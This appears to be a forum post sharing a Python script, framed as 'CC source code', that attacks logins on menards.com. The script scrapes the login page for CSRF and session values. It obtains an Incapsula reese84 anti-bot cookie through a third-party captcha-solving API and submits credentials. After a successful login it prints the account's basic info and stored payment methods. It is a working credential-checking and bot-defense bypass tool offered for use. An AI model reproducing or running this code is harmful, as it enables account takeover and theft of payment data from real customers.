menards.com Log in to get CC source code open source, solved Incapsula reese84
[ Hidden Content! ]
Code:
import base64
import requests
import json
import sys
import re
# api config on https://www.clearcaptcha.com
endpoint_inscap="http://api.clearcaptcha.com/captcha/incapsula_reese84_sub";
token = 'test'
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36"
session = requests.Session()
headers={
"User-Agent": user_agent,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Language": "en-US,en;q=0.8",
"Accept-Encoding": "gzip, deflate, br",
"Origin": "https://www.menards.com",
"Referer": "https://www.menards.com/",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Connection": "keep-alive",
}
response = session.get("https://www.menards.com/main/login.html",headers=headers,verify=False)
response_data=response.text;
match = re.search(r'name=\"_csrf\" content=\"(.*?)\"', response_data)
if match:
_csrf = match.group(1)
print(_csrf)
else:
print("not found _csrf")
sys.exit()
match = re.search(r"loginuuid=\"'(.*?)\'", response_data)
if match:
loginuuid = match.group(1)
print(loginuuid)
else:
print("not found loginuuid")
sys.exit()
jsurl="https://www.menards.com/augh-ter-Which-on-Assince-Hailes-to-couldrene-th?d=www.menards.com"
post_data = {
"token": token,
"jsurl": jsurl,
"user_agent": user_agent,
}
response = requests.post(endpoint_inscap, data=post_data)
if response.status_code != 200:
print({"error": "api error","status_code": response.status_code,"response": response.text})
sys.exit()
response_data=response.json()
if response_data['code']!=200:
print(response.text)
sys.exit()
post_data=response_data['data']['post_data']
headers["Content-Type"]="text/plain; charset=utf-8"
response = requests.post(jsurl, data=post_data,headers=headers,verify=False)
if response.status_code != 200:
print({"error": "api error","status_code": response.status_code,"response": response.text})
sys.exit()
response_data = response.json()
reese84=response_data['token']
session.cookies.set("reese84", reese84,domain="menards.com",path="/")
headers["Content-Type"]="application/x-www-form-urlencoded"
headers["Referer"]="https://www.menards.com/main/login.html"
post_data = {
"loginuuid": loginuuid,
"guest-auth": "",
"username": "[email protected]",
"password": "test",
"_csrf": _csrf,
}
response=session.post("https://www.menards.com/main/checkcredentials.html",data=post_data,headers=headers,verify=False)
response_data = response.text
# if response.status_code != 200:
# print({"error": "api error","status_code": response.status_code,"response": response.text})
# sys.exit()
if 'Bad credentials' in response_data:
print("Bad credentials")
sys.exit()
response=session.get("https://www.menards.com/main/my-account/basic-info.ajx",headers=headers,verify=False)
response_data = response.text
print(response.text)
response=session.get("https://www.menards.com/main/my-account/payment-options/get-payment-methods.ajx?storeNumber=3353",headers=headers,verify=False)
response_data = response.text
print(response.text)